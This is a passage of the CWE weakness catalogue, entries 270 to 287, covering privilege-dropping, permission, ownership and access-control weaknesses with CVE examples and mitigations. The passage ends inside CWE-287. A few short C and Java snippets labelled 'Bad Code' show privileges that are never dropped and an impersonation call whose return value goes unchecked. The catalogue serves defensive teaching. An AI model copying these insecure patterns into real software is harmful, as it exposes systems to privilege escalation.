CWE-270: Privilege Context Switching Error

Weakness ID: 270 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1688	Web browser cross domain problem when user hits "back" button.
CVE-2002-1770	Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.
CVE-2003-1026	Web browser cross domain problem when user hits "back" button.
CVE-2005-2263	Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	269	Improper Privilege Management	**699** **1000**	295

Research Gaps

This concept needs more study.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Context Switching Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
17	Accessing, Modifying or Executing Executable Files	
30	Hijacking a Privileged Thread of Execution	
35	Leverage Executable Code in Nonexecutable Files	

CWE-271: Privilege Dropping / Lowering Errors

Weakness ID: 271 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not drop privileges before passing control of a resource to an actor that does not have those privileges.

Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

High

Observed Examples

Reference	Description
CVE-1999-0813	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered.
CVE-1999-1326	FTP server does not drop privileges if a connection is aborted during file transfer.
CVE-2000-0172	Program only uses seteuid to drop privileges.
CVE-2000-1213	Program does not drop privileges after acquiring the raw socket.
CVE-2001-0559	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.
CVE-2001-0787	Does not drop privileges in related groups when lowering privileges.
CVE-2001-1029	Does not drop privileges before determining access to certain files.
CVE-2002-0080	Does not drop privileges in related groups when lowering privileges.
CVE-2004-0806	Setuid program does not drop privileges before executing program specified in an environment variable.
CVE-2004-0828	Setuid program does not drop privileges before processing file specified on command line.
CVE-2004-2070	Service on Windows does not drop privileges before using "view file" option, allowing code execution.
CVE-2004-2504	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).

Potential Mitigations

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		265	Privilege / Sandbox Issues	**699**	291
ChildOf	We	269	Improper Privilege Management	**1000**	295
PeerOf	We	*250*	*Execution with Unnecessary Privileges*	*1000*	*271*
ParentOf	We	*272*	*Least Privilege Violation*	***699***	*298*

Nature	Type	ID	Name	V	Page
				1000	
ParentOf	We	*273*	*Improper Check for Dropped Privileges*	***699*** *1000*	*300*
PeerOf	We	*274*	*Improper Handling of Insufficient Privileges*	*1000*	*301*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Privilege Dropping / Lowering Errors

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

CWE-272: Least Privilege Violation

Weakness ID: 272 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Common Consequences

Access Control

An attacker may be able to access resources with the elevated privilege that he should not have been able to access. This is particularly likely in conjunction with another flaw -- e.g., a buffer overflow.

Demonstrative Examples

Example 1:

C/C++ Example: *Bad Code*

```
setuid(0);
//Do some important stuff//
setuid(old_uid);
// Do some non privileged stuff.
```

Java Example: *Bad Code*

```
method() {
  AccessController.doPrivileged(new PrivilegedAction()) {
    public Object run() {
      //Insert all code here
    }
  };
}
```

Example 2:

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Bad Code

```
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Follow the principle of least privilege when assigning access rights to entities in a software system.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Other Notes

The failure to drop system privileges when it is reasonable to do so is not a vulnerability by itself. It does, however, serve to significantly increase the Severity of other vulnerabilities. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.

When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**700**	279
ChildOf	WC	271	Privilege Dropping / Lowering Errors	**699** **1000**	296
ChildOf	C	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Least Privilege Violation
CLASP		Failure to drop privileges when reasonable
CERT C Secure Coding	POS02-C	Follow the principle of least privilege

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
17	Accessing, Modifying or Executing Executable Files
35	Leverage Executable Code in Nonexecutable Files
76	Manipulating Input to File System Calls

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

CWE-273: Improper Check for Successfully Dropped Privileges

Weakness ID: 273 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

Common Consequences

Authorization

If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Authentication

If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
bool DoSecureStuff(HANDLE hPipe) {
  bool fDataWritten = false;
  ImpersonateNamedPipeClient(hPipe);
  HANDLE hFile = CreateFile(...);
  /../
  RevertToSelf()
  /../
}
```

Since we did not check the return value of ImpersonateNamedPipeClient, we do not know if the call succeeded.

Potential Mitigations

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

In Windows make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003).

Implementation

Always check all of your return values.

Other Notes

In Microsoft Operating environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges. Code which relies on this for security must ensure that the impersonation succeeded-- i.e., that a proper privilege demotion happened.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
PeerOf	Weakness	252	Unchecked Return Value	1000	274
ChildOf	Weakness	271	Privilege Dropping / Lowering Errors	**699** 1000	296
ChildOf	Category	634	Weaknesses that Affect System Processes	**631**	616
ChildOf	Category	748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731
ChildOf	Weakness	754	Improper Check for Exceptional Conditions	**1000**	734

Affected Resources

- System Process

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Failure to check whether privileges were dropped successfully
CERT C Secure Coding	POS37-C	Ensure that privilege relinquishment is successful

CWE-274: Failure to Handle Insufficient Privileges

Weakness ID: 274 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not handle when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-1564	System limits are not properly enforced after privileges are dropped.
CVE-2005-1641	Does not give admin sufficient privileges to overcome otherwise legitimate user actions.
CVE-2005-3286	Firewall crashes when it can't read a critical memory block that was protected by a malicious process.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	265	Privilege / Sandbox Issues	**699**	291
ChildOf	We	269	Improper Privilege Management	1000	295
PeerOf	Wc	271	Privilege Dropping / Lowering Errors	1000	296
CanAlsoBe	We	280	Improper Handling of Insufficient Permissions or Privileges	1000	306
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706

Relationship Notes

Overlaps dropped privileges, insufficient permissions.

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient privileges

Maintenance Notes

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

CWE-275: Permission Issues

Category ID: 275 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to improper assignment or handling of permissions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	264	Permissions, Privileges, and Access Controls	**699**	290
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	720
RequiredBy		*61*	*UNIX Symbolic Link (Symlink) Following*	*1000*	*56*
ParentOf	Ww	*276*	*Incorrect Default Permissions*	***699***	*303*
ParentOf	Ww	*277*	*Insecure Inherited Permissions*	***699***	*304*
ParentOf	Ww	*278*	*Insecure Preserved Inherited Permissions*	***699***	*304*
ParentOf	Ww	*279*	*Incorrect Execution-Assigned Permissions*	***699***	*305*
ParentOf	We	*280*	*Improper Handling of Insufficient Permissions or Privileges*	***699***	*306*
ParentOf	We	*281*	*Improper Preservation of Permissions*	***699***	*307*
RequiredBy		*426*	*Untrusted Search Path*	*1000*	*453*
ParentOf	We	*618*	*Exposed Unsafe ActiveX Method*	***699***	*603*
ParentOf		*689*	*Permission Race Condition During Resource Copy*	***699***	*680*
ParentOf	Wc	*732*	*Incorrect Permission Assignment for Critical Resource*	***699***	*721*

Affected Resources

- File/Directory

Functional Areas

- File processing, non-specific.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission errors
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Nonexecutable Files	

CWE-276: Insecure Default Permissions

Weakness ID: 276 *(Weakness Variant)* **Status:** Draft

Description

Summary

A program, upon installation, sets insecure permissions for an object.

Time of Introduction

- Architecture and Design
- Implementation
- Installation
- Operation

Applicable Platforms

Languages

- All

Likelihood of Exploit

Medium

Observed Examples

Reference	Description
CVE-1999-0426	Default permissions of a device allow IP spoofing.
CVE-2001-0497	Insecure permissions for a shared secret key file. Overlaps cryptographic problem.
CVE-2001-1550	World-writable log files allow information loss; world-readable file has cleartext passwords.
CVE-2002-1711	World-readable directory.
CVE-2002-1713	Home directories installed world-readable.
CVE-2002-1844	Windows product uses insecure permissions when installing on Solaris (genesis: port error).
CVE-2005-1941	Executables installed world-writable.

Potential Mitigations

Very carefully manage the setting, management and handling of permissions. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	302
ChildOf	WC	732	Incorrect Permission Assignment for Critical Resource	**1000**	721
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Causal Nature

Implicit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insecure Default Permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
1	Accessing Functionality Not Properly Constrained by ACLs	
19	Embedding Scripts within Scripts	
81	Web Logs Tampering	

CWE-277: Insecure Inherited Permissions

Weakness ID: 277 *(Weakness Variant)* **Status:** Draft

Description

Summary

A product defines a set of insecure permissions that are inherited by objects that are created by the program.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-1786	Insecure umask for core dumps [is the umask preserved or assigned?].
CVE-2005-1841	User's umask is used when creating temp files.

Potential Mitigations

Very carefully manage the setting, management and handling of permissions. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		275	Permission Issues	**699**	302
ChildOf	Wc	732	Incorrect Permission Assignment for Critical Resource	**1000**	721

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure inherited permissions

CWE-278: Insecure Preserved Inherited Permissions

Weakness ID: 278 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

Time of Introduction

- Architecture and Design
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-1724	Does not obey specified permissions when exporting.

Potential Mitigations

Very carefully manage the setting, management and handling of permissions. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		275	Permission Issues	**699**	302
ChildOf		732	Incorrect Permission Assignment for Critical Resource	**1000**	721

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insecure preserved inherited permissions

CWE-279: Insecure Execution-assigned Permissions

Weakness ID: 279 *(Weakness Variant)* **Status:** Draft

Description

Summary

A product, while it is executing, changes the permissions of an object in an insecure way that cannot be controlled by the user.

Time of Introduction

- Architecture and Design
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0265	Log files opened read/write.
CVE-2002-1694	Log files opened read/write.
CVE-2003-0876	Log files opened read/write.

Potential Mitigations

Very carefully manage the setting, management and handling of permissions. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		275	Permission Issues	**699**	302
ChildOf		732	Incorrect Permission Assignment for Critical Resource	**1000**	721
ChildOf		743	CERT C Secure Coding Section 09 - Input Output (FIO)	**734**	728

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Insecure execution-assigned permissions
CERT C Secure Coding	FIO06-C	Create files with appropriate access permissions

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
19	Embedding Scripts within Scripts	
81	Web Logs Tampering	

CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID: 280 *(Weakness Base)* **Status:** Draft

Description

Summary

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2003-0501	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.
CVE-2004-0148	FTP server places a user in the root directory when the user's permissions prevent access to his/her own home directory.

Potential Mitigations

Very carefully manage the setting, management and handling of permissions. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges, but they should also plan for cases in which those privileges might fail.

Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	302
ChildOf	Wc	703	Failure to Handle Exceptional Conditions	**1000**	706
CanAlsoBe	*Wa*	*274*	*Improper Handling of Insufficient Privileges*	*1000*	*301*
PeerOf	*Wc*	*636*	*Not Failing Securely ('Failing Open')*	*1000*	*617*

Relationship Notes

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Research Gaps

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Fails poorly due to insufficient permissions

Maintenance Notes

CWE-280 and CWE-274 are too similar.

CWE-281: Permission Preservation Failure

Weakness ID: 281 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly preserve permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0195	File is made world-readable when being cloned.
CVE-2001-1515	Automatic modification of permissions inherited from another file system.
CVE-2005-1920	Permissions on backup file are created with defaults, possibly less secure than original file.
SUNALERT:27807	

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

This is resultant from errors that prevent the permissions from being preserved.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	275	Permission Issues	**699**	302
ChildOf	WG	732	Incorrect Permission Assignment for Critical Resource	**1000**	721

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Permission preservation failure

CWE-282: Improper Ownership Management

Weakness ID: 282 *(Weakness Class)* **Status:** Draft

Description

Summary

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1125	Program runs setuid root but relies on a configuration file owned by a non-root user.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges and permissions. Explicitly manage trust zones in the software.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	264	Permissions, Privileges, and Access Controls	**699**	290
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	We	*283*	*Unverified Ownership*	***699 1000***	*308*
ParentOf	We	*708*	*Incorrect Ownership Assignment*	***699 1000***	*710*

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Ownership errors

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
17	Accessing, Modifying or Executing Executable Files	
35	Leverage Executable Code in Nonexecutable Files	

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-283: Unverified Ownership

Weakness ID: 283 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly verify that a critical resource is owned by the proper entity.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2001-0178	Program does not verify the owner of a UNIX socket that is used for sending a password.
CVE-2004-2012	Owner of special device not checked, allowing root.

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Relationships

Nature	Type	ID	Name	V	Page
CanAlsoBe		264	Permissions, Privileges, and Access Controls	1000	290
ChildOf		282	Improper Ownership Management	**699** **1000**	307
CanAlsoBe		345	Insufficient Verification of Data Authenticity	1000	367
ChildOf		703	Failure to Handle Exceptional Conditions	1000	706
ChildOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716

Relationship Notes

This overlaps insufficient comparison, verification errors, permissions, and privileges.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Unverified Ownership

CWE-284: Access Control (Authorization) Issues

Weakness ID: 284 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Improper administration of the permissions to the users of a system can result in unintended access to sensitive files.

Alternate Terms

Authorization

The terms "authorization" and "access control" seem to be used interchangeable.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Potential Mitigations

Very carefully manage the setting, management and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		264	Permissions, Privileges, and Access Controls	**699**	290
ChildOf		632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf		693	Protection Mechanism Failure	**1000**	684

Nature	Type	ID	Name	V	Page
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ParentOf	Weakness	*285*	*Improper Access Control (Authorization)*	***699 1000***	*310*
ParentOf	Weakness	*639*	*Access Control Bypass Through User-Controlled Key*	***699 1000***	*621*
ParentOf	Weakness	*647*	*Use of Non-Canonical URL Paths for Authorization Decisions*	***699 1000***	*632*

Affected Resources
- File/Directory

Taxonomy Mappings
Mapped Taxonomy Name	Mapped Node Name
PLOVER	Access Control List (ACL) errors

Related Attack Patterns
CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
19	Embedding Scripts within Scripts	

Maintenance Notes
The name of this item implies that it is a category for general access control / authorization issues, although the description is limited to permissions.

This item needs more work. Possible sub-categories include:

* Trusted group includes undesired entities
* Group can perform undesired actions
* ACL parse error does not fail closed

CWE-285: Improper Access Control (Authorization)

Weakness ID: 285 *(Weakness Base)* **Status:** Draft

Description
Summary
The software does not perform access control checks in a consistent manner across all potential execution paths.

Extended Description
When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information leaks, denial of service, and arbitrary code execution.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- All

Common Consequences
Availability
Confidentiality
Integrity

Allowing access to unauthorized users can result in an attacker gaining access to the sensitive resources being protected, possibly modifying or removing them, or performing unauthorized actions.

Likelihood of Exploit
High

Potential Mitigations

Architecture and Design

Divide your application into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.

Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Architecture and Design

Ensure that you perform access control checks related to your business logic. These may be different than the access control checks that you apply to the resources that support your business logic.

Architecture and Design

Use authorization frameworks such as the JAAS Authorization Framework and the OWASP ESAPI Access Control feature.

Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

System Configuration
Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**700**	279
ChildOf	WC	284	Access Control (Authorization) Issues	**699 1000**	309
ChildOf	C	721	OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access	**629**	715
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf	C	753	Porous Defenses	**750**	733
ParentOf	WC	*638*	*Failure to Use Complete Mediation*	*1000*	*620*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Missing Access Control
OWASP Top Ten 2007	A10	CWE More Specific	Failure to Restrict URL Access
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
1	Accessing Functionality Not Properly Constrained by ACLs
13	Subverting Environment Variable Values
17	Accessing, Modifying or Executing Executable Files
39	Manipulating Opaque Client-based Data Tokens
45	Buffer Overflow via Symbolic Links
51	Poison Web Service Registry
59	Session Credential Falsification through Prediction

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
60	Reusing Session IDs (aka Session Replay)	
76	Manipulating Input to File System Calls	
77	Manipulating User-Controlled Variables	
87	Forceful Browsing	

References

NIST. "Role Based Access Control and Role Based Security". < http://csrc.nist.gov/groups/SNS/rbac/ >.

CWE-286: Incorrect User Management

Weakness ID: 286 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly manage a user within its environment.

Extended Description

Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		264	Permissions, Privileges, and Access Controls	**699**	290
ChildOf		664	Improper Control of a Resource Through its Lifetime	**1000**	652
CanAlsoBe		*266*	*Incorrect Privilege Assignment*	*1000*	*291*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	User management errors

Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

CWE-287: Improper Authentication

Weakness ID: 287 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not properly ensure that the user has proven their identity.

Alternate Terms

authentification

An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Authentication bypass

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
